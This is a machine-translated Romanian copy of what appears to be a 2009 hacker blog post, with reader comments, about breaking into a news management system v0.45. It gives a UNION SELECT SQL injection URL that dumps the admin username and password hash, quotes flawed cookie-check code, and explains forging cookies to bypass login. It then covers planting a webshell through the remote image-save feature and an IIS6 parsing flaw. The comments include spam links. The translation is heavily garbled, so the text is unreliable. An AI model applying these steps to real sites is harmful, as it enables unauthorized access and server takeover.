Sistem de Stiri de fierbere v0.45 Ia SHELL-IIS6 News.asp parsarea vulnerabilităţi, fierberea, fierberea sistemul de ştiri, injecţie de la distanţă pentru a salva imaginea, Blog-st0p lui

De fierbere Sistem de Stiri v0.45 pentru a obţine SHELL

Această intrare a fost postat pe 25 septembrie 2009

: St0p
Reprodus vă rugăm să precizaţi sursa: http://www.st0p.org

Notă: pentru a reaminti administratorului staţia de obiectivul de a umple gaura.

Vezi grup în cazul în care nici un material trimis la un post, deschis arata ca să fiarbă sistemul de ştiri, dar versiunea scrisă este v0.1, Internetul nu a găsit versiunea caz, există două versiuni de 1,1 şi 0,45, amintiţi-vă News.asp injectat există, într-adevăr, dar din cauza diferitelor versiuni, astfel încât masa de teren ştiri, toate declaraţiile sunt un pic diferite.

Dupa incercarea de st0p, staţia de destinaţie ar trebui să fie de 0.45 nume de utilizator şi parola de fundal de succes HASH prin următoarea declaraţie, am încercat 27 de succes domeniu. .

  http://st0p.org/News.asp?click=1&shu=20% 201% 20as% 20NewsID, 20title% username% 20as, 20updatetime 3%% 20as, passwd%% 20click 20as, 5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 20from 20admin%%%% 20order 20% 20by% 202% 20desc 20union 20select%%%% 20top 202

A se vedea, nu am primit numele de utilizator xcb parola c95ca278a74775f8, iar apoi ne-am dus sa sparga MD5, deprimat, afla, nu se poate rupe, nu intra fundal să vină. . .
Apoi am verificat versiunea 0.45 a codului şi a găsit o parte din admin / chkuser.asp valida nume de utilizator, ne uităm la codul

  <%
 Request . cookies ( "KEY" ) = "super" or Request . cookies ( "KEY" ) = "check" or Request . cookies ( "KEY" ) = "typemaster" or Request . cookies ( "KEY" ) = "bigmaster" or Request . cookies ( "KEY" ) = "smallmaster" or Request . cookies ( "KEY" ) = "selfreg" ) THEN DACĂ nu (Cookie-urile Request. ("cheie") = "super" sau cerere de Cookie ("cheia"). Cookies = "verifica" sau o cerere. ("Cheie") = "typemaster" sau o cerere. Cookie-urile ("cheie") = "bigmaster" sau cerere de cookie-uri ("cheie") = "smallmaster" sau cerere de cookie-uri ("cheia"). = "selfreg"). ATUNCI
 "Prima detectează cheia în cookie-uri, dacă nu pentru valorile de mai sus, pentru a porni automat pagina de destinaţie
 "login.asp" de răspuns de redirecţionare "login.asp"
 răspuns. final
 Final, dacă
 server . createobject ( "adodb.recordset" ) set de Urs = server de CreateObject ("adodb.recordset").
 & Request. cookies ( "username" ) & "'" sql = "SELECT * FROM administrare în cazul în care numele de utilizator = '" & cerere de cookie-uri ("nume de utilizator"). & "" "
 "Interogări numele de utilizator cookie-urile este dacă utilizatorul administrativ
 , 3 Urs. deschis SQL, con, 1, 3
 urs. eof then în cazul în care Urs BOF sau. Urs. EOF apoi
 "login.asp" de răspuns de redirecţionare "login.asp"
 răspuns. final
 final, dacă
 ( "passwd" ) <> urs ( "passwd" ) THEN Dacă cererea. Cookie-urile sunt ("passwd") <> Urs ("passwd") ATUNCI
 "În cazul în care utilizatorul domeniul experienta passwd în cookie-uri de fraudă în cazul în care utilizatorul a parolei HASH diferit de direcţie
 "login.asp" de răspuns de redirecţionare "login.asp"
 răspuns. final
 Final, dacă
 Urs. aproape
 nothing set Urs = nimic
 %>

Hei, noroc cu adevărat bun, deşi este imposibil de a sparge parola HASH, dar se poate folosi pentru a realiza înşelăciune. Uită-te la utilizarea a procesului. .
Noi folosim http://st0p.org/admin/index.asp domeniu deschis atunci când el va merge la login.asp

Şi apoi vom sterge cookie-urile reglevel; fullname, domeniul de aplicare, cheie; parte numele de utilizator, apoi se adaugă username = xcb; CHEIE = Super; passwd = c95ca278a74775f8, numele de utilizator şi parola de înlocuire, cheia poate utiliza direct super.
Am punctul de a modifica

Şi apoi schimbaţi URL-ul a fost schimbat punctul de legătură http://st0p.org/admin/index.asp

Intrarea cu succes în fundal, hei, am direct la menţioneze dreptul de el, acest sistem are o funcţie pentru a salva imaginea la distanţă, am folosit pentru a veni şi de a colecta SHELL În primul rând, adauga articole, şi apoi plug-in-editor de imagine, adresa de pe serverul nostru cal, inseraţi, selectaţi imaginile Salvare de la distanţă. Şi apoi trimiteţi

Apoi, avem nevoie doar de acces pentru a adăuga un articol bun, copiaţi imaginea de la adresa interior. Server de staţia ţintă este IIS6, alineatul precedent nu este raportat, de asemenea, vulnerabilităţile de analizare, doar utiliza, hehe.
Avem acum cuvântul de ponei, si de ce nu spun. . .
Cu toate acestea, permisiunile de staţia ţintă este destul de BT, doar directorul de upload scriere, dar, de asemenea, nu pot fi şterse. . Încet nici un drept să-l, prima înregistrare despre. . .

Aflaţi · Pentru Trucuri de arte marţiale

146 Responses to "fiarbă sistem de ştiri v0.45 pentru a obţine SHELL

De Minghacker la 26 septembrie 2009 | Raspunde
Daniel st0p ~ ~ ~ ~ cult
Icysun de la 26 septembrie 2009 | Raspunde
Nu sistemul de ..
Obligaţiuni ale acestui mediu lume Ya ..
st0p Răspuns:
26 septembrie 2009 la 12:21
Ai spune că fac acest lucru?
Fierbere şi 0,45 a sistemului de ştiri,
icysun Răspuns:
26 septembrie 2009 la 12:30 pm
Da
B00lean de la 28 septembrie 2009 | Raspunde
bovine st0p nu sunt şcoala modul nostru de a nu merge
Prin jshfuitg pe 25 noiembrie 2009 | Reply
dCATec qhuvtpiheyue , [url = http://ggwyligshlfd.com/ ggwyligshlfd [/ url], [link = http://nxjhtastnpxn.com/] nxjhtastnpxn [/ link], http://kwxzxruczflr.com/
Prin adkpaxv pe 27 noiembrie 2009 | Reply
T9v9E0 oihbhcyxrstd , [url = http://ztggdtdbkkjc.com/ ztggdtdbkkjc [/ url], [link = http://haboolnldgjd.com/] haboolnldgjd [/ link], http://zsjtcxcsvmjj.com/
De Seengart la 14 decembrie 2009 | Reply
eh .. vă mulţumesc pentru gândurile acest )
FarmerLupe33 de pe 4 noiembrie 2011 | Raspunde
De credite, par, pentru a fi util pentru oamenii care sunt dispuşi să înceapă propria cariera. Ca un fapt, că nu este greu de a obţine un împrumut comercial.